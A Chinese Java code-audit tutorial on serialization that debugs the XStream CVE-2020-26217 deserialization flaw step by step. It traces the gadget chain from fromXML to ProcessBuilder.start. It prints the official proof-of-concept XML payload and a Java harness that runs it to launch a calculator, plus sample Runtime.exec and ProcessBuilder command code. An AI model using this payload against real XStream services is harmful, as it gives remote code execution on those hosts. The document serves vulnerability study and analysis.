Java代码审计(八)-反序列化漏洞案例调试分析

一、前言

本文为 Java 反序列化漏洞案例调试分析学习文章,主要内容为通过已披露的信息结合 Poc 定位漏洞利用链并进行回溯分析,重思路向。

二、前置知识

Java 序列化与反序列化

Java 序列化 是指把 Java 对象转换为字节序列的过程,便于保存在内存、文件、数据库中,如ObjectOutputStream 类的 writeObject() 方法可以实现序列化。

Java反序列化 是指把字节序列恢复为 Java 对象 的过程,如ObjectInputStream 类的 readObject() 方法用于反序列化。简单案例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.*;

public class test{
public static void main(String args[])throws Exception{
// 定义obj对象
String obj="hello world!";
// 创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos=new FileOutputStream("object_test");
ObjectOutputStream os=new ObjectOutputStream(fos);
// writeObject()方法将obj对象写入object文件
os.writeObject(obj);
os.close();
// 从文件中反序列化obj对象
FileInputStream fis=new FileInputStream("object_test");
ObjectInputStream ois=new ObjectInputStream(fis);
//恢复对象
String obj2=(String)ois.readObject();
System.out.print(obj2);
ois.close();
}
}

image-20230812153527991

序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储:

1)把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
2)在网络上传送对象的字节序列接收方接收到字符序列后,使用反序列化从字节序列中恢复出Java对象;

序列化/反序列化方法

序列化

1
2
3
4
5
1、writeObject() : 为 ObjectOutputStream 类中的一个方法,用于将对象序列化并写入输出流的函数。它是在实现了 java.io.Serializable 接口的类中定义的。当你调用 writeObject() 方法并将一个对象作为参数传递给它时,该对象的状态将被序列化并写入输出流中。

2、writeUnshared():该方法与 writeObject() 类似,用于将对象进行序列化并写入输出流中。不同之处在于,writeUnshared() 方法会确保对象的每次写入都是独立的,即使同一个对象多次写入,每次写入都会被视为独立的对象。这可以用于避免在序列化过程中引入对象的循环引用或共享状态。

3、XMLEncoder:XMLEncoder 类用于将 Java 对象序列化为 XML 格式的数据。它可以将 Java 对象图转换为 XML 数据。可以使用 XMLEncoder 的构造函数创建一个实例,传入一个输出流(如文件输出流、URL 输出流等),然后使用 writeObject() 方法将对象写入输出流

反序列

1
2
3
4
5
1、readObject():为 ObjectInputStream 类中的一个方法,用于从输入流中读取序列化的对象并进行反序列化。它是在实现了 java.io.Serializable 接口的类中定义的。当你调用 readObject() 方法时,它会从输入流中读取对象的序列化数据,并将其还原为原始对象。

2、readUnshared():该函数与 readObject() 类似,用于从输入流中读取序列化的对象进行反序列化。不同之处在于,readUnshared() 函数会确保每次读取的对象都是独立的,即使同一个对象多次读取,每次读取都会被视为独立的对象。这可以用于避免在反序列化过程中共享对象状态。

3、XMLDecoder:XMLDecoder 类用于从 XML 文件或输入流中读取 XML 数据并将其反序列化为 Java 对象。它可以将 XML 数据转换为 Java 对象图。可以使用 XMLDecoder 的构造函数创建一个实例,传入一个输入流(如文件输入流、URL 输入流等),然后使用 readObject() 方法从输入流中读取对象

java.io.Serializable 接口是 Java 中的一个标记接口(marker interface),用于指示类的对象可以被序列化和反序列化。实现了 Serializable 接口的类可以通过 ObjectOutputStream 将其对象转换为字节流进行序列化,并通过 ObjectInputStream 将字节流转换回对象进行反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import java.io.*;

# SerializationExample 类中定义了两个方法 serializeObject、deserializeObject
public class SerializationExample {
public static void main(String[] args) {
String fileName = "serializedObject.ser";

// 序列化对象
serializeObject(fileName);

// 反序列化对象
Person deserializedPerson = deserializeObject(fileName);

// 打印反序列化后的对象信息
System.out.println("反序列化对象:");
System.out.println("姓名:" + deserializedPerson.getName());
System.out.println("年龄:" + deserializedPerson.getAge());
}

// 序列化对象,定义 serializeObject 方法
private static void serializeObject(String fileName) {
try (FileOutputStream fileOutputStream = new FileOutputStream(fileName);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream)) {

Person person = new Person("John", 25);
objectOutputStream.writeObject(person);

System.out.println("对象序列化成功");
} catch (IOException e) {
e.printStackTrace();
}
}

// 反序列化对象,定义 deserializeObject 方法,对象为 Person
private static Person deserializeObject(String fileName) {
try (FileInputStream fileInputStream = new FileInputStream(fileName);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream)) {

Person deserializedPerson = (Person) objectInputStream.readObject();
return deserializedPerson;
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
return null;
}
}

// 定义一个 Person 类实现 Serializable 接口,表示该类支持序列化和反序列化
class Person implements Serializable {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}
}

image-20230812153747461

三、漏洞案例

XStream反序列化

XStream 是一个简单的基于 Java 的类库,用来将 Java 对象序列化成 XML(JSON)或反序列化为对象。

XStream 反序列化漏洞的具体原因如下:

  • 默认支持任意类的反序列化:XStream 的默认配置允许将任意类进行反序列化,而不仅仅限于预期的类。这意味着攻击者可以构造特制的XML数据,其中包含恶意代码或恶意类的引用。

  • 类加载器的问题:XStream 在反序列化时会使用当前线程的上下文类加载器来加载类。如果攻击者能够控制类加载器或提供恶意的类加载器,就可以加载和执行恶意类。

  • 默认安全忽略策略:XStream 默认情况下会忽略一些敏感的 Java 类,如 java.lang.Runtime、java.lang.ProcessBuilder 等。然而,这个默认的安全忽略策略可能不够严格,攻击者可以绕过这些限制。

影响范围

在1.4.x 系列版本中,<=1.4.6 或 = 1.4.10 存在反序列化漏洞

XStream 的序列化与反序列化

XStream 的序列化与反序列与 Java 原生的序列化反序列化机制存在差异,XStream 使用的是独立的一套机制,主要核心是通过 Converter 转换器来将 XML 和对象之间进行相互的转换,简单的来说就是:将特定类型的对象转换为 XML 或者将 XML 转换为特定类型的对象,具体需要先实现以下3个方法:

  • canConvert 方法:告诉 XStream 对象,它能够转换的对象;

  • marshal 方法:能够将对象转换为XML时候的具体操作;

  • unmarshal 方法:能够将XML转换为对象时的具体操作;

具体可参考官方文档:http://x-stream.github.io/converters.html ,下图为转换的类型格式

image-20230817152242552

例子:使用了 xstream.toXML() 方法将 person 类的对象字符串序列化为 xml 格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.thoughtworks.xstream.XStream;

public class XStreamExample {
public static void main(String[] args){
//创建 XStream 实例
XStream xstream = new XStream();

// 创建一个 Person 对象
Person person = new Person("John Doe", 30);

// 将对象序列化为 XML 字符串
String xml = xstream.toXML(person);
System.out.println(xml);
}

// 定义 Person 类
public static class Person{
private String name;
private int age;

// Person 类的构造方法
public Person(String name, int age){
this.name = name;
this.age = age;
}
}
}

image-20230813214904136

反序列化则使用了 xstream.fromXML() 方法将已经序列化的xml反序列化为字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.thoughtworks.xstream.XStream;

public class XStreamExample {
public static void main(String[] args) {
XStream xstream = new XStream();

// 配置类名的别名,以便下面的 xml 中的 <person> 能被读取
xstream.alias("person", Person.class);

// 定义要反序列化的 XML 字符串
String xml = "<person><name>John</name><age>30</age></person>";

// 从 XML 反序列化为 Person 对象
Person person = (Person) xstream.fromXML(xml);

// 打印反序列化后的 Person 对象
System.out.println("Deserialized Person:");
System.out.println("Name: " + person.getName());
System.out.println("Age: " + person.getAge());
}

// 定义 Person 类
public static class Person {
private String name;
private int age;

// 获取 name 属性的方法
public String getName() {
return name;
}

// 获取 age 属性的方法
public int getAge() {
return age;
}
}
}

image-20230813214805534

完整的序列化与反序列化,程序先将字符串序列化为 xml 格式,然后再将已经为 xml 格式反序列化为字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import com.thoughtworks.xstream.XStream;

public class XStreamExample {
// 定义 Person 类
public static class Person{
private String name;
private int age;

// Person 类的构造方法
public Person(String name, int age){
this.name = name;
this.age = age;
}
// 在 Person 类中定义 getter 和 setter 方法
// 这些方法用于序列化和反序列化时访问属性
public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}
public static void main(String[] args){
//创建 XStream 实例
XStream xstream = new XStream();

// 创建一个 Person 对象
Person person = new Person("John Doe", 30);

// 将对象序列化为 XML 字符串
String xml = xstream.toXML(person);
System.out.println("Serialized XML:");
System.out.println(xml);

// 将 XML 字符串反序列化为对象
Person deserializedPerson = (Person) xstream.fromXML(xml);
System.out.println("\nDeserialized Person:");
System.out.println("Name: " + deserializedPerson.getName());
System.out.println("Age: " + deserializedPerson.getAge());
}
}

image-20230813215458252

上述案例 Pom.xml 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.example</groupId>
<artifactId>xstream-example</artifactId>
<version>1.0.0</version>

<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.15</version>
</dependency>
</dependencies>

</project>

CVE-2020-26217

官方漏洞通告

https://x-stream.github.io/CVE-2020-26217.html , XStream 代码中可直接利用用户控制的请求输入的 xml 数据作为 fromXML 的参数使用,这里输入可能是输入流、文件、post参数等,并且程序中没有设置允许反序列化类的白名单,导致反序列化漏洞。漏洞版本为 1.4.13

官方 Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

环境搭建

idea 新建项目

image-20230816144345229

配置 pom.xml 引入 xstream 漏洞版本依赖,引入后重新 maven 加载项目,在 pom.xml处右键-> maven-> Reload project

image-20230816162251164

pom.xml 文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.example</groupId>
<artifactId>xstream-2020-26217</artifactId>
<version>1.0.0</version>

<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>

<!--引入 XStream 1.4.15 依赖-->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.13</version>
</dependency>
</dependencies>

<build>
<finalName>xstream-2020-26217</finalName>
</build>

</project>

maven 拉取 xstream 成功后,先在 java 目录下创建一个 java.class 验证 xstream 是否可用,如下:

image-20230816152445246

然后利用该代码进行漏洞调试,代码如下:

image-20230816154712837

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.thoughtworks.xstream.XStream;

public class XStreamExample {
public static void main(String[] args){
// 定义一个XML字符串
String xml = "<map>poc</map>";

// 创建XStream对象
XStream xstream = new XStream();

// 将XML字符串反序列化为对象
xstream.fromXML(xml);
}
}

其中 String xml 内容替换为上文提及的官方 poc , 其中 <command> </command> 标签填入需要执行的命令,笔者使用的是 Ubuntu ,弹出计算器的命令为 gnome-calculator ,完整代码如下

image-20230816155321191

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.thoughtworks.xstream.XStream;

public class XStreamExample {
public static void main(String[] args){
// 定义一个XML字符串
String xml = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
" <contentType>text/plain</contentType>\n" +
" <is class='java.io.SequenceInputStream'>\n" +
" <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" +
" <iterator class='javax.imageio.spi.FilterIterator'>\n" +
" <iter class='java.util.ArrayList$Itr'>\n" +
" <cursor>0</cursor>\n" +
" <lastRet>-1</lastRet>\n" +
" <expectedModCount>1</expectedModCount>\n" +
" <outer-class>\n" +
" <java.lang.ProcessBuilder>\n" +
" <command>\n" +
" <string>gnome-calculator\n</string>\n" +
" </command>\n" +
" </java.lang.ProcessBuilder>\n" +
" </outer-class>\n" +
" </iter>\n" +
" <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" +
" <method>\n" +
" <class>java.lang.ProcessBuilder</class>\n" +
" <name>start</name>\n" +
" <parameter-types/>\n" +
" </method>\n" +
" <name>start</name>\n" +
" </filter>\n" +
" <next/>\n" +
" </iterator>\n" +
" <type>KEYS</type>\n" +
" </e>\n" +
" <in class='java.io.ByteArrayInputStream'>\n" +
" <buf></buf>\n" +
" <pos>0</pos>\n" +
" <mark>0</mark>\n" +
" <count>0</count>\n" +
" </in>\n" +
" </is>\n" +
" <consumed>false</consumed>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";

// 创建XStream对象
XStream xstream = new XStream();

// 将XML字符串反序列化为对象
xstream.fromXML(xml);
}
}

执行后,弹出计算器

image-20230816155458123

亦可执行其他命令,如下,创建一个 test.txt 文件

image-20230816155658396

image-20230816155805410

漏洞分析

先对该 Poc 进行分析,了解其构造过程,方便下面的调试。回到 Poc 分析其 Poc 代码含义,新建 poc.xml 内容为漏洞 Poc,然后利用 firefox 打开 poc.xml ,然后将 Poc 折叠,得到如下图,第一层元素为 <map></map> , 第二层元素为 <entry></entry> 这两层下带有两个元素 jdk.nashorn.internal.objects.NativeStringstring

image-20230818155012194

利用如下代码,构建一个案例,可清晰了解到其作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// 导入 XStream 类
import com.thoughtworks.xstream.XStream;
// 导入HashMap类
import java.util.HashMap;
// 导入Map类
import java.util.Map;

// 定义一个名为Person的自定义类
class Person {
// 设置属性
String name;
int age;

// Person 类的构造函数,接受姓名和年龄参数
public Person(String name, int age){
// 将传入的姓名赋值给name属性
this.name = name;
// 将传入的年龄赋值给age属性
this.age = age;
}
}

// 定义一个 MapTest 类
public class MapTest {
// 主方法
public static void main(String[] args) {
// 创建一个HashMap对象,命名为map
Map map = new HashMap();
// 将一个Person对象作为键,字符串"test"作为值,添加到map中
map.put(new Person("John", 18), "test");

// 创建一个XStream对象,用于将对象转换为XML
XStream xstream = new XStream();
// 将map对象转换为XML字符串,并将结果赋值给xml变量
String xml = xstream.toXML(map);
// 打印XML字符串到控制台
System.out.println(xml);
}
}

运行后结果如下:

image-20230818162034463

由代码可知,map 作为 HashMap() 的对象,然后将 Person 的键 ("John", 18)、键值 ("test") 加载到 map 中,然后利用 xstream.toXML() 序列化为 xml 格式

image-20230818161935225

通过上面分析可知,若利用 XStream 进行序列化会利用 HashMap() 进而生成如下格式:

1
2
3
4
5
6
<map>
<entry>
<map对象名></map对象名>
<string></string>
</entry>
</map>

将 Poc 再展开一层,通过上面分析可知,整个 Poc 可以看作为一个 map 集合,然后 map 集合下面有许多元素,其中 jdk.nashorn.internal.objects.NativeStringHashMap() 的对象, jdk.nashorn.internal.objects.NativeString 又带有 <flag><value> 属性,其值分别为 0com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data

image-20230818162426050

再展开 value 值后得到更多具体的元素,这样在调试代码时可以清晰地知道该追踪哪些代码进行分析

image-20230818163930547

通过上面分析可知,XStream 在进行序列化前,(该Poc为例) 需先将 <jdk.nashorn.internal.objects.NativeString><string>test</string> 该键值对利用 HashMap() 获取其 hash 值,然后再进行序列化

1
2
Map map = new HashMap();
map.put(new Person("John", 18), "test");

image-20230818161935225

具体开展分析

分析其利用链(Gadgets),通过 Poc 可发现,其最后执行命令使用了 java.lang.ProcessBuilder 类中的 start() 方法,现我们跟进类中的 start() 获取整个利用链

注释:java.lang.ProcessBuilder 是 Java 标准库中的一个类,用于创建和管理外部进程。它提供了一种在 Java 程序中执行外部命令的方式,通过java.lang.ProcessBuilder 可以指定要执行的命令及其参数,并设置执行命令时的环境变量、工作目录等。然后使用 start() 方法来启动进程,并获取与该进程相关的输入流、输出流和错误流。

image-20230819150846588

因为 xstreaam 中已经包含了 java.lang.ProcessBuilder 类,所以我们在代码中并不需要导入,但我们可以通过先导入方便我们进行分析,跟进其代码便于找到 start() 方法

现导入 import java.lang.ProcessBuilder; 然后将鼠标移至 ProcessBuilder + 鼠标左键,进入 ProcessBuilder

image-20230817144037081

image-20230817144218001

进入到 ProcessBuilder 类后,继续寻找 start() 方法,鼠标选中 ProcessBuilder 后,鼠标移至停留,弹出该类的具体描述,简单的意思是:java.lang.ProcessBuilder 是 Java 标准库中的一个类,用于创建操作系统进程。每个 ProcessBuilder 实例管理一组进程属性。start() 方法使用这些属性创建一个新的 Process 实例。可以从同一个 ProcessBuilder 实例重复调用 start() 方法,以创建具有相同或相关属性的新子进程。具体可自行翻译查看。

image-20230817144435568

接着我们点击图中的 start() 方法进入到 start() 方法的具体描述,最后通过 鼠标右键 该描述 Jump to Source 进入到 java.lang.ProcessBuilder#start() 方法中

image-20230817145146400

image-20230817145324226

通过 Poc 可知最后执行的是由 java.lang.ProcessBuilder 类下的 command 对象触发命令执行,所以断点如下:

image-20230817145652475

image-20230817150416568

返回 XStreamExample.java 文件中运行 debug ,鼠标右键点击 Debug 按钮,获得该代码的完整利用链

image-20230817150621674

完整利用链(Gadgets)如下

image-20230817154237775

知道完整调用链,现回到 XStreamExample.javaxstream.fromXML() 方法进行 debug ,逐一进行调试分析,通过不断的点点点点,发现调用链实在太长,最终还是通过上面分析出来的 Gadgets 直接直接定位漏洞点

image-20230818191523527

回到 ProcessBuilder.java 文件下打下断点,重新获取完整的 Gadgets

image-20230818192007754

然后根据上面分析,我们知道 XStream 在进行序列化前,需要先将值利用 HashMap() 生成 hash 然后 putentry 中,根据 PocHashMap() 关键字,我们定位到

调用链 putCurrentEntryIntoMap:107,MapCoverter(com.thoughtworks.xstream.converters.collections)

image-20230818195409950

根据调用链向上分析,找到获取 hash 值的代码,调用了 getStringValue() 方法

image-20230818201645103

image-20230818200313210

跟进 getStringValue()Ctrl + 鼠标左键,具体 getStringValue() 方法如下,代码大概意思是通过 instanceof 运算符检查 this.value 这个对象是否为字符串(String)类型,若表达式 this.value instanceof Stringtrue 则将 this.value 这个对象强制转换为 String 类型并返回,若不是 String 类型则调用this.value.toString()this.value 转换为字符串并返回

image-20230818200807155

根据调用链去到 getStringValue() , 由下图得知,this.value 的值为 {Base64Date@1473} 其中 Base64@Date 为对象的类名,1473是对象的哈希码

image-20230818202004137

由 Poc 可知,this.value 的值为 com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data 类,由于攻击者可通过 xml 控制 NativeString 元素的 value 子元素,构造了攻击,官方构建为 com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data

image-20230818202344501

this.valuecom.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data 时,程序调用 Base64Data 类的 toString 方法

image-20230818202759615

Ctrl + 鼠标左键 跟进toString() 方法

image-20230818202847844

在 InputStream is 上打上断点,然后重新 debug

image-20230819121943027

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 方法返回类型为byte[],表示该方法将返回一个字节数组
public byte[] get() {
// 检查成员变量this.data是否为null
if (this.data == null) {
try {
// 创建一个ByteArrayOutputStreamEx对象baos,并指定初始容量为1024字节
ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
// 从this.dataHandler.getDataSource().getInputStream()获取输入流is
InputStream is = this.dataHandler.getDataSource().getInputStream();
// 使用baos.readFrom(is)将输入流的内容读取到baos中
baos.readFrom(is);
// 关闭输入流is
is.close();
// 将baos.getBuffer()返回的内部字节数组赋值给this.data
this.data = baos.getBuffer();
// 将baos.size()返回的字节数赋值给this.dataLen
this.dataLen = baos.size();
} catch (IOException var3) {
// 在执行上述操作的过程中发生IOException异常,则将this.dataLen设置为0
this.dataLen = 0;
}
}

代码大意如下,由 Poc 和上图可知,这一程序执行步骤如下:

1、this.dataHandler.getDataSource() 是获取 com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data 类中的 dataHandler 属性的DataSource 值,而 poc 中 DateSource 设置的是 com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource 类,所以 this.dataHandler.getDataSource()com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource

image-20230819123639794

2、然后程序继续往下执行,通过 com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource 类的 getInputStream 方法,获取com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSourc 的 is 属性值

image-20230819123847457

继续跟踪,我们由上图可知, is 中设置的值为 java.io.SequenceInputStream 类,我们需要跟进该类,调用的是 该类的 nextStream() 方法

image-20230819124515348

Ctrl + 鼠标左键 跟进代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// nextStream()方法被声明为final,表示该方法不能被继承类重写。方法没有返回值,使用void表示
final void nextStream() throws IOException {
// 检查成员变量in是否为null,如果in不为null,则调用in.close()关闭当前的输入流
if (in != null) {
in.close();
}
// 如果迭代器e有下一个元素,则调用e.nextElement()获取下一个元素,并将其强制转换为 InputStream 类型,并将结果赋值给in
if (e.hasMoreElements()) {
in = (InputStream) e.nextElement();
// 如果in为null,则抛出NullPointerException异常。
if (in == null)
throw new NullPointerException();
}
// 如果迭代器e没有下一个元素,则将in赋值为null
else in = null;

}

image-20230819124734273

由 Poc 可知,is 下的 e 元素的值被设置为 javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator

image-20230819125255722

继续根据调用链跟进 javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator,其调用了该类的 nextElement() 方法

image-20230819125438579

1
2
3
4
5
6
7
8
9
10
11
// 返回类型为Object,表示该方法将返回一个对象
public Object nextElement() {
switch (type) {
// 当type的值为KEYS时,调用iterator.next()获取迭代器的下一个元素,调用获取到的元素的getKey()方法,返回元素的键
case KEYS: return iterator.next().getKey();
// 当type的值为ELEMENTS时,调用iterator.next()获取迭代器的下一个元素,调用获取到的元素的getValue()方法,返回元素的值
case ELEMENTS: return iterator.next().getValue();
// 如果type的值不是KEYS也不是ELEMENTS,即没有匹配的case,则执行default代码块,返回null
default: return null;
}
}

由 poc 可知,type 值为 KEY,则获取 iterator 下的元素

image-20230819130132192

继续跟进 <iterator class="javax.imageio.spi.FilterIterator"> 中的 javax.imageio.spi.FilterIterator 类,调用的是该类的 advance() 方法

image-20230819130431252

Ctrl + 鼠标左键 , 跟进代码

image-20230819130613686

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// advance()方法是一个私有方法,没有返回值,使用void表示
private void advance() {
// 在循环中,通过iter.next()获取迭代器的下一个元素,并将其赋值给泛型类型T的变量elt
while (iter.hasNext()) {
T elt = iter.next();
// 如果满足过滤条件,将elt赋值给变量next,表示找到了下一个元素,并使用return语句提前结束方法,如果不满足过滤条件,则继续下一次循环,继续查找下一个满足条件的元素。
if (filter.filter(elt)) {
next = elt;
return;
}
}

next = null;
}

再次回到 poc 中,将 iterator 展开,查看有哪些元素,其中 ierator 下 filter 是控制过滤条件

image-20230819142118262

继续跟进 javax.imageio.ImageIO$ContainsFilter

image-20230819142333905

1
2
3
4
5
6
7
8
9
// 方法返回一个布尔值 接受 Object类型的参数 elt,表示要进行过滤的元素
public boolean filter(Object elt) {
try {
// 调用method.invoke(elt)方法,将elt作为参数,执行反射调用,反射调用返回一个Object类型的结果,需要将其强制转换为String[]类型
return contains((String[])method.invoke(elt), name);
} catch (Exception e) {
return false;
}
}

继续展开 poc 下 filter 下的元素,发现来到了触发执行命令的类,所以由于 method.invoke(elt) 可控,所以导致 method 可以通过 xml 中javax.imageio.ImageIO$ContainsFilter 元素包含的 method 元素被控制,method 里面的 <class> 为我们调用的恶意类,由于程序默认没有对其限制所以导致攻击者可利用 java.lang.ProcessBuilder 构造命令执行

image-20230819143335818

最后 method.invoke(elt) 执行命令,其中 elt 为构造好的 java.lang.ProcessBuilder 对象。所以在 method 与 elt 都可控的情况下,进行反射调用即可实现远程代码执行利用

注释:Java反射机制是指在运行时动态地获取和操作类的信息,包括类的属性、方法、构造函数等。通过反射,可以在程序运行时检查类的结构,创建对象,调用方法,访问和修改字段,甚至可以动态地生成新的类

image-20230819152832987

image-20230819143916112

最后回到了最初的 debug 起点,执行命令。

image-20230819143204447

四、总结

通过对以上案例的分析,整个过程调试下来个人还是学到了不少,主要还是思路方面,对于整体调试思路有所帮助。总体上对于个人来说,在分析过程中无论是对 Java 基础的语法、代码的含义以及开发工具的运用等等均需要有点积累才能更好地开展分析调试工作。

五、扩展

常见能能执行命令的 java 类

  • java.lang.RuntimeRuntime类提供了执行系统命令的方法,如exec()getRuntime()

  • java.lang.ProcessBuilderProcessBuilder`类用于创建进程,并执行系统命令。它提供了更灵活的方式来执行命令,并可以设置环境变量、工作目录等。

  • java.lang.ProcessProcess类表示正在运行的进程。可以使用Process类的方法来获取进程的输入流、输出流和错误流,以及等待进程完成并获取执行结果。

  • java.lang.ProcessImpl:这是Process类的实现类,它是Java对底层操作系统进程的封装。

使用 Runtime 类执行系统命令的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class SystemCommandExecution {
public static void main(String[] args) {
try {
// 执行系统命令
String command = "whoami"; // 替换为你要执行的系统命令
Process process = Runtime.getRuntime().exec(command);

// 获取命令执行结果
int exitCode = process.waitFor();

// 读取命令执行的输出结果
InputStream inputStream = process.getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader reader = new BufferedReader(inputStreamReader);
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}

System.out.println("命令执行完成,退出码:" + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}

使用 ProcessBuilder 类执行系统命令的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class test {
public static void main(String[] args) {
try {
// 执行系统命令
String[] command = {"ls", "-l"}; // 替换为你要执行的系统命令及参数
ProcessBuilder processBuilder = new ProcessBuilder(command);
Process process = processBuilder.start();

// 获取命令执行结果
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}

int exitCode = process.waitFor();
System.out.println("命令执行完成,退出码:" + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}

五、参考

1
2
3
4
5
6
https://www.cnblogs.com/v1ntlyn/p/14034019.html
